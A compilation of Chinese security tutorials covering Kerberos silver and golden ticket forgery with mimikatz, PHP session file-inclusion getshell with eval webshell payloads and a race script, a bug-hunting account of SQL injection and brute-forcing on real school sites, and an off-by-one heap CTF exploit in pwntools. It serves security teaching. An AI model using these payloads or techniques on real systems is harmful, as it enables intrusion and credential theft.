Kerberos协议及其利用
前言
之前就一直想着抽空学学内网渗透相关的东西,无奈被各种事情耽搁。。。刚好这两天闲下来,就把之前留的坑填一下。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 (本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。)
Kerberos协议原理
啥是Kerberos?
一种双向的网络身份认证协议,通过使用加密技术为客户端/服务端应用程序提供强大的认证服务
基本概念
Principal 安全个体,具有唯一命名的客户端或服务器。命名规则:主名称+实例+领域,如:herlocky/mailto:admin@EXAMPLE.COM
TGT 票据授予票据(Ticket Granting Ticket),包含客户端ID、客户端网络地址、票据有效期以及client/TGS会话密钥
Ticket 票据,一条包含客户端标识信息、会话密钥和时间戳的记录,客户端用它来向目标服务器认证自己
Session key 会话密钥,指两个安全个体之间使用的临时加密秘钥,其时效性取决于单点登录的会话时间长短
KDC Key分发中心(key distribution center),是一个提供票据(tickets)和临时会话密钥(session keys)的网络服务。KDC服务作为客户端和服务器端信赖的第三方,为其提供初始票据(initial ticket)服务和票据授予票据(ticket-granting ticket)服务,前半部分有时被称为AS,后半部分有时则被称为TGS
AS 认证服务器(Authentication Server),KDC的一部分。通常会维护一个包含安全个体及其秘钥的数据库,用于身份认证
TGS 许可证服务器(Ticket Granting Server),KDC的一部分,根据客户端传来的TGT发放访问对应服务的票据
SS 特定服务的提供端(Service Server)
如何运作?
放一张图片可能比较好理解一些:
1.(在开启Kerboers协议的基础上)当客户端想访问服务器上的资源时,需要先向KDC发送认证请求,在发送认证请求的时候会根据自己的密码生成密钥,用密钥将发送的时间戳进行加密。(加密作用在于防止别人获取到信息后进行重放攻击)
2.1 KDC在接受到请求后,会先查看AS中是否有该账户的信息,使用相对应解密算法将时间戳解密,完成了A的身份认证。这里解释一下为啥会用到时间戳:因为在传输过程中,可能会被黑客进行截获,黑客在截获后如果想骗取认证的话需要进行数据包的再次发送,也就是重放攻击。重放攻击需要耗费一定时间,如果用时间戳作为衡量标准的话,当KDC解出时间戳和当前时间差别过大时,就不会再继续认证。
2.2 上文说到Kerboers是双向的认证,2.1是客户端向KDC证实身份,现在需要KDC向客户端证明身份。首先,KDC会生成一把专门用于KDC与A之间通信的密钥,并且用密钥加密自身,得到的这个玩意儿就是TGT。之后将时间戳、KDC生成的密钥、随机字符串使用客户端生成的密钥进行加密。
2.3.客户端在收到消息后,会使用自己最初生成的密钥来解密密文,得到KDC的密钥,并且证实其身份。
3.1 接下来客户端需要向KDC去认证服务器的身份,于是会将之前的TGT和KDC的密钥加密的信息与时间戳以及新的消息发送给KDC,KDC收到消息后会将TGT解密拿到密钥和加密的信息,达到验证客户端的目的。
4 KDC生成新的密钥 ,新密钥供客户端与服务器通信时使用,并且该密钥和客户端的信息会被服务器的密钥进行加密形成票据,原KDC生成的密钥对新密钥进行加密后,将票据和生成的新密文发送给客户端
5.1 客户端拿着KDC生成的新密钥加密信息和时间戳,再外加一个票据(TGS)去请求服务器
5.2 服务器用自己的私钥解开票据,拿到客户端和服务器之间的密钥以及信息,接着用该密钥解密客户端发来的密文,如果验证为真,就会将时间戳用客户端和服务器之间的密钥进行加密发给客户端。
6 客户端接收到服务器发送的信息后,解密查看时间戳完成对B的身份校验,完成认证过程。
---------------------------------------------------------------------------------------------------分隔符---------------------------------------------------------------------------------------------------------
用大白话来说可能会容易理解Kerboers协议,比如在学校的机房里(假设为域控环境),如果用户想在任意一台主机上进行操作,只需要有一个账户名密码即可。该账户名密码存于域控制器中,有别于我们平时使用的工作组,用户名密码不通过本机验证,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机(如telnet)则是通过SAM来进行NTLM验证。
记录一次不心酸的AD域控搭建
环境
VMware虚拟机:Windows 2012 R2,Windows 7
过程
搭建起来没想象中的复杂,主要是把服务器上的AD域和DNS服务器安装好,处理好服务器和主机之间互通的问题
直接按照这个博客搭建即可https://www.cnblogs.com/leixiao-/p/10579208.html,过程不再赘述。搭建域控环境目的还是为了复现Kerberos协议中的两种利用方式。
白银票据
原理
先拽一波英文,Silver Ticket(白银票据)主要是利用TGS,即六步认证过程中的第五步,客户端拿着票据向服务器中的某个服务发起请求,这时候的票据格式是这样的:
Ticket=Server Hash(Server Session Key+Client info+End Time)
利用服务器端生成的密钥对Server Session Key、客户端的消息以及时间戳进行加密。因为服务器没有收到Server Session Key,并不知道我们要访问的究竟是何种服务,所以当我们知道Server Hash的时候,就可以去访问服务器中指定的服务。简单地说,就是生成了一个可以随时访问服务的后门。
利用条件
1.已知服务器的NTLM hash
2.仅对部分开放服务有效,如cifs(文件共享服务),mssql,winrm(windows远程管理),dns等等
实践过程
用的是红日安全的环境
192.168.52.138 域控服务器
192.168.52.143 客户端
mimikatz 工具
之前自己搭建的AD域环境有点问题,没复现成功,心塞。。。然后用红日的环境复现好了。拿到的客户端是管理员权限,域控的主机是普通用户权限。没详细研究怎么去打组合拳,先看看能不能利用一下白银票据。尝试用命令查询客户端共享目录的访问权限,发现无法访问:
dir \\stu1.god.org\c$
因为要伪造访问客户端的访问权限,所以我们可以在客户端中去拿到这个NTLM Hash:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords">log.txt
在log.txt中查看到 NTLM Hash:
然后我们还需要域的SID值,域的SID就是域成员的SID值去掉最后的 -数字 的部分,该域的SID值就是S-1-5-21-2952760202-1353902439-2381784089 可以在log.txt中查看,也可以用命令:
whoami /user
最后一步,就是在域控主机中伪造票据,为了方便就直接进行伪造,写入域控主机内存。mimikatz 其实还可以把票据dump到本地,方便以后再使用。为了防止其他票据干扰,可以使用 kerberos::purge 把主机中其他票据删除。伪造命令:
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:stu1.god.org /rc4:55c330808522af0724598d8f48af2809 /service:cifs /user:stu1 /ptt
然后再次访问,成功:
最后,mimikatz之前没咋用过,简单看了一下是可以将内存中的密码都读出来,很强大。。有些密码没经过Hash处理,直接明文显示了。
黄金票据
原理
和白银票据不同,黄金票据利用点在于伪造TGT。伪造TGT的关键就在于获取KDC的哈希值,也就是KRBTGT账户的哈希值,伪造出TGT的话,后面就可以有效的获得目标主机任何的Kerberos服务。
利用条件
1.需要与KDC通信
2.需要krbtgt的hash
实践过程
依旧是红日安全的环境
Win2008R2(DC) IP:192.168.52.138
Win2003 IP:192.168.52.141
Win7 IP:192.168.52.143(内)
mimikatz 工具
大大大前提:我们已经可以访问域控主机,接下来我们在域控上使用mimikatz进行票据提取。先导出KRBTGT账户的hash:
lsadump::dcsync /domain owa /user:krbtgt
把信息提取出来:
安全账户管理器用户名:krbtgt krbtgt SID为:S-1-5-21-2952760202-1353902439-2381784089-502 krbtgt 的hash:58e91a5ac358d86513ab224312314061
查看一下域控主机当前用户:
接着回到win7主机上,我们要在win7主机中使用mimikatz,通过黄金票据获得域控主机权限。先启动mimikatz,借助kerberos::purge命令清除win7主机上的票据
接着利用前面获取到的信息伪造黄金票据:
kerberos::golden /domain:owa.god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-502 /rc4:58e91a5ac358d86513ab224312314061 /user:krbtgt /ptt
再尝试一下能否访问远程文件共享
啊这,出现这个错误的时候在网上查了很多资料,也关闭了防火墙和windows defender还是出现上述问题。后面调用systeminfo命令看了一下,原来打补丁了啊,那没事了,如果没有补丁的话就可以继续对目标机器进行渗透,甚至可以用PSEXEC.exe进行反弹shell。关于红日安全靶场,在网上进行下载即可。
浅谈利用session绕过getshell
在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session来getshell往往还需要一些特殊的方法,借此机会,研究一番。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID21bb-8308-4117-ab95-a4602fa6c377 (本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。)
基础知识
PHP SESSION的存储
SESSION会话存储方式
在Java中,用户的session是存储在内存中的,而在PHP中,则是将session以文件的形式存储在服务器某个文件中,我们可以在php.ini里面设置session的存储位置session.save_path
在很多时候服务器都是按照默认设置来运行的,假如我们发现了一个没有安全措施的session文件包含漏洞时,我们就可以尝试利用默认的会话存放路径去包含getshell,因此总结常见的php-session的默认存储位置是很有必要的
默认路径
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
session文件的存储路径是分为两种情况的
一是没有权限,默认存储在/var/lib/php/sessions/目录下,文件名为sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到(一般在利用漏洞时我们自己设置phpsessid)
二是phpmyadmin,这时的session文件存储在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp
与 SESSION 有关的几个 PHP 选项
session.serialize_handler
一是php,服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制,这种模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,我们可以看作是服务器对用户会话信息的半序列化存储
二是session.serialize_handler=php_serialize,这种处理模式在PHP 5.5后开始启用,与上一种类似,但无论是用户名的内容还是变量名等都进行了系列化,可以看作是服务器对用户会话信息的全序列化存储
三是php_binary,其存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
常见就是以上三种,还有一些其他的比如session.serialize_handler = wddx等这里就不展开赘述了
对比上面session.serialize_handler的两种处理模式,可以看到他们在session处理上的差异,但我们编写代码不规范时对session的处理采用了多种情况,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。
session.auto_start
默认是off状态,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.use_strict_mode
默认是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
因为sessid的可控,我们很容易借此达到我们getshell的目的,但是我们还存在session.upload_progress.cleanup
session.upload_progress.cleanup
默认开启,一旦读取了所有POST数据,它就会清除进度信息,所以我们一般都要通过条件竞争来进行文件上传
session.upload_progress.enabled
默认情况下是开启的,但也当该配置开启时,我们今天要讲的重点才得以引出
Session Upload Progress
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
下面给出一个php官方文档的一个进度数组的结构的样例:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
此时在session中存放的数据看上去是这样子的:
<?php $_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123" "start_time" => 1234567890, // The request time 请求时间 "content_length" => 57343257, // POST content length post数据长度 "bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量 "done" => false, // true when th
LFI漏洞
LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。
我们这里重点讲的是针对LFI Session文件包含,我们可以简单理解成以为配置的原因,用户可以控制session文件中的部分信息,然后将这部分信息更改为恶意代码,然后去包含这个session文件达到攻击效果,在下面,我会演示一下大概流程
演示代码
session.php
<?php session_start(); $username = $_POST['username']; $_SESSION["username"] = $username; ?>
index.php
<?php $file = $_GET['file']; include($file); ?>
payload
分析session.php可以看到用户会话信息username的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用
我们传入
username=Abc
我们看到,系统给我们初始了一个sess_ID
可以看出我们可以对username进行控制,那么假如我们传入的是一句话木马呢
username=<?php eval($_REQUEST['Abc']);?>
一句话马传入了,我们试试是不是真的可以像我们想的那样执行
从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。
当然这是一种理想化的简单的漏洞利用情况,但是在平常中会有很多限制,常见的就是两种:1.对用户的会话信息进行了一定的处理,例如对用户session信息进行编码或加密 2.没有代码session_start()进行会话的初始化操作,这时服务器无法生成用户session文件,同时,用户也无法进行恶意session文件包含
下面,我们来讲一讲怎么绕过这些限制
Session Base64Encode
很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。
demo
session.php
<?php session_start(); $username = $_POST['username']; $_SESSION['username'] = base64_encode($username); echo "username -> $username"; ?>
index.php
<?php $file = $_GET['file']; include($file); ?>
exp
按照我们的一般套路注入
我们可以发现我们包含的session被编码了,导致LFI -> session失败。
在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。(其他编码同理)
index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92
吼,无法解码!
这是为什么,来来来我们再仔细看看session文件内容
username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg==";
看到了吗,这里并不是只有base64密文,还有username|s:44:"这一段非base64的字符串,编码与解码不对应,当然无法解码
那么我们有什么方法解决吗
首先我们先来了解一下base64编码的特点
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。
一个字符串中,不管出现多少个特殊字符或者位置上的差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
总而言之,要想正常解码,需要session前面的这部分数据长度需要满足4的整数倍,据此我们再次构造payload
username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['Abc']);?>
符合,我们重新传参看看
执行成功
注:这是在session.serialize_handler=php配置下执行成功的,在其他配置下也是同样的原理
No session_start()
一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是如果一个网站存在LFI漏洞但却没有用户会话,那么我们该怎么去包含session信息呢
还记得我们上面说过的Session Upload Progress吗?
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。——https://xz.aliyun.com/u/31688
session中一部分数据(session.upload_progress.name)是用户自己可以控制的,那么我们在Cookie中设置PHPSESSID=Abc(默认情况下由于session.use_strict_mode=0用户可以自定义Session ID),同时POST恶意字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带上这个键,PHP就会自动启用Session,又由于我们之前设置了Session ID,所以session文件会自动创建且可控
但又由于session.upload_progress.cleanup = on这个配置的存在,当文件上传结束后,php将会立即清空对应session文件中的内容,这会导致我们最终包含的只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用
import io import requests import threading sessid = 'SsBNMsssSssssL' data = {"cmd":"system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files
国赛的脚本,改下payload即可
记录一次cnvd挖掘过程
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
曾经的我,以为挖掘cnvd是一个非常遥不可及的事情,注册资产5000万黑盒10案例(目前还不会代码审计吖,后续会努力学习吖!)这个门槛就已经难住我了(脚本小子的自述)。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915533100001 (本实验主要介绍了利用sqlmap辅助手工注入,通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。)
事情的转机在于某次挖掘edu的过程中,且漏洞都非常小白,无任何技术含量,师傅们看个热闹就好了,在校学生只想赚点生活费。呜呜呜呜~
主页界面常规漏洞测试一波,如弱口令,以及登陆框注入,均无果,发现还存在一处密码找回功能。
找回密码界面。
每个参数挨个测试一下最简单的注入加一个单引号’ 当然也仅仅限于为我这种偷懒型选手了,对于int型注入点如果做了报错处理可能无法探测,各位师傅们挖洞的时候不要学我一样偷懒哦。
运气果然很重要啊,阿巴阿巴,直接出货,且目标不存在waf直接上sqlmap跑了
Dba权限sqlserver数据库,直接起飞,难得找绝对路径写shell了直接os-shell 成功获取权限,而且可回显。
通过企查查查询了一下开发单位,发现资产过5000万,接下来只要案例满足10例就可了,fofa查询相关关键字,收集一波站点。
还算不错,阿巴阿巴,整理整理继续肝,一个良好的开端从有洞开始,
于是想着写一波脚本,批量跑一下admin账户的弱口令,这么多站点,我不相信没有一个弱口令,大概看了几个站点,发现一模一样的站,于是直接在某个站点本地F12 看他登陆请求包,然后写脚本,批量跑一下
又尝试了另一种方式,感谢fengxsone老表给我说的这个selenium自动化测试模块,阿巴阿巴,顺便拿来练练手,这里简单介绍一下呀,百度无所不能。
通过pip install selenium 或者在pycharm中搜索安装模块即可
这个模块呢,非常非常简单哈,安装完成之后,需要下载对应浏览器对应版本的驱动,之后就可以愉快的玩耍了,有兴趣的师傅,记得看开发手册吖,我觉得我讲的太low还是打扰了
Run一下之后就是一个慢慢等待的过程咯
大约跑了20几个站点之后,成功使用admin—123456进入后台。我的脚本也gg了,没有写跳转的操作,我菜,阿巴阿巴
进入后台后,一通操作,找到一处上传点,but上传到的路径居然传到一台文件服务器上面去了,虽然能拿到一个文件服务器的shell,但是估计其他站的文件也是传在这个服务器上面,溜了溜了。
继续fuzz,注销登陆,之后重新登录同时使用burp抓包,单独拉出来放包,请叫我打码小王子。
发现并未存在session或者token参数。于是直接到其他站点,随意输入账户密码,替换返回包。直接越权到admin账户。
接着fuzz,该测的测了,但在密码重置处倒是有点东东,身份证只要输入存在的账户,手机号输入自己的即可将验证码发送到自己的手机
所以说这里我们只需要获取到可登陆的身份证即可用自己的手机号接受到验证码,于是登陆,后台,在用户管理界面抓包。之后就是慢慢删除cookie的过程了,这里推荐一下burp的这个功能,贼好用
在这个功能模块中,可以快速的fuzz cookie简直不要太舒服,最后发现只需要一个schoolcon参数,即可未授权访问,而且schoocan参数在加载页面时就已经有了
整理开交,阿巴阿巴。
假装一段时间后~~~~~~证书下来了,嚯嚯,起飞。
阿巴阿巴,太没有技术含量了,各位师傅们见谅,才入门还要学习的东西太多了,有想要一起学习互相监督滴嘛?我的qq807483402 另外 欢迎大家关注微信公众号F12sec啦我们是一群有梦想的网络安全爱好者哟,阿巴阿巴。
快速入门堆溢出技巧(OFF BY ONE)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
OFF BY ONE
所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节
并且堆块的fd(前驱指针)以及bk(后继指针)都会指向
main_arena+88的地址这也是我们泄露出来的地址
利用gdb 输入libc查看基地址,main_arena+88-libc=offset
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de (本实验主要介绍了缓冲区溢出基础与实例,通过本实验的学习,了解缓冲区溢出的原理与危害,掌握防范缓冲区溢出的基本方法)
UNSORTERBIN&FASTBINS
在堆块的bins中分为fastbins,largebins,smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。
例题讲解
本次我选用V&N在2020的招新赛的simpleheap 如有需要可在buuctf找到
思路概述
我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块
其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的
编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击
接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可
First step
常规操作checksec
保护全开64位,倒也正常。接着拉进ida慢慢分析
q@ubuntu:~$ checksec vn
[*] '/home/q/vn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
如下我们可以发现是个非常经典的菜单题目,那么经过查找漏洞点发现在edit函数
void __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_A39(a1, a2, a3);
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
menu();
switch ( (unsigned int)sub_9EA() )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
show();
break;
case 4u:
del();
break;
case 5u:
exit(0);
default:
puts("Please input current choice.");
break;
}
}
}
如下get_input_content里面有个off by one 的漏洞
unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 )
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
Second step
在第一步我们对程序的漏洞点寻找完毕
现在我们要开始第二步去利用off by one创建fake chunk了,先上交互函数
from pwn import *
context(log_level='debug')
r=process('./vn')
#elf=ELF('./vn')
#r=remote('node3.buuoj.cn',28465)
libc=ELF('16.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))
如思路概述所讲到我们需要创建4个堆
我们创建好的堆结构如下
在gdb中正常的堆结构如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x556b208da000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x556b208da020
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x556b208da090
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x556b208da100
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x556b208da120
Size: 0x20ee1
接下来我们开始利用off by one去对其创建fake chunk
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk
edit(0,b'a'*0x18+b'\xe1')
free(1)
gdb.attach(r)
gdb中调试结果如下,我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块,此时我们的fake chunk就构建完毕了
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650f994f000
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650f994f020
Size: 0xe1
fd: 0x7fc2f9aebb78
bk: 0x7fc2f9aebb78
Allocated chunk
Addr: 0x5650f994f100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x5650f994f120
Size: 0x20ee1
Third step
有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc
在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk
其fd bk指针会指向main_arena+88,在gdb输入libc可以得到libc的地址
main_arena+88-libc=offset=0x3c4b78
在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢?
这里就要继续提到
分割unsortedbin
我们重新申请一个堆块,该堆块的大小若刚好在unsortedbin中(强烈建议对半分割),我们申请回来之后通过gdb可以看见其中的堆结构如下
一个0x71在unsortedbin,另外一个是我们可以正常使用的,此时他的内容便是fd与bk指向的地址main_arena+88
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x559615971000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x559615971020
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x559615971090
Size: 0x71
fd: 0x7f0437e11b78
bk: 0x7f0437e11b78
Allocated chunk
Addr: 0x559615971100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x559615971120
Size: 0x20ee1
因此我们可以得的泄露脚本如下
add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露
main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))
gdb.attach(r)
libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
PS:
这里可以说下为什么fake_chunk_addr=malloc_hook-0x23
这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的
如下0x7f78812fbaed就是fake chunk的地址处于fastbins
并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址,并且该地址也是我们对堆块输入内容的地址
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea0000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
Last step
我们现在有了需要的一切,那么现在最后一步就是对堆进行排布并且传入我们构建好的payload
在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload
从第三步完结的时候堆排布如下
此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来
此时堆结构依然不改变,只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b020
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555d4046b090
Size: 0x71
fd: 0x7ff34264eb78
bk: 0x7ff34264eb78
Allocated chunk
Addr: 0x555d4046b100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x555d4046b120
Size: 0x20ee1
接下来我们再去free掉一个0x68大小的chunk
对留下来的0x68大小的chunk内容填充为fake chunk的地址
接着继续把被free的chunk申请回来,那么此时fastbin链表就会去指向fake chunk
也许语言看蒙了人,我就用图表示
图1如下是free掉后再去填充的样子
图2如下是我们把被free的chunk申请回来后的样子
此时我们可以说是已经劫持成功了,我们接着去填充payload然后再申请一个堆块就可以触发payload了
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()
PS:
关于为什么是0x13-0x08,因为我们从main_arena-0x33的位置填充的(第三步有提到),而这个位置距离realloc_hook的距离就是(0x13-8)
关于realloc_hook压栈到底要加多少
我们可以打开gdb输入 x/32i __libc_realloc
pwndbg> x/32i __libc_realloc
0x7ff34230e710 <__GI___libc_realloc>: push r15
0x7ff34230e712 <__GI___libc_realloc+2>: push r14
0x7ff34230e714 <__GI___libc_realloc+4>: push r13
0x7ff34230e716 <__GI___libc_realloc+6>: push r12
0x7ff34230e718 <__GI___libc_realloc+8>: mov r12,rsi
0x7ff34230e71b <__GI___libc_realloc+11>: push rbp
0x7ff34230e71c <__GI___libc_realloc+12>: push rbx
把里面的数字一个个代入试试看。
最后的完整exp如下
EXP:
需要的libc从buuctf里面下载
from pwn import *
context(log_level='debug')
#r=process('./vn')
#elf=ELF('./vn')
r=remote('node3.buuoj.cn',28640)
libc=ELF('64.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))
#gdb.attach(r)
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk
edit(0,b'a'*0x18+b'\xe1')
free(1)
add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arena
dump(2)
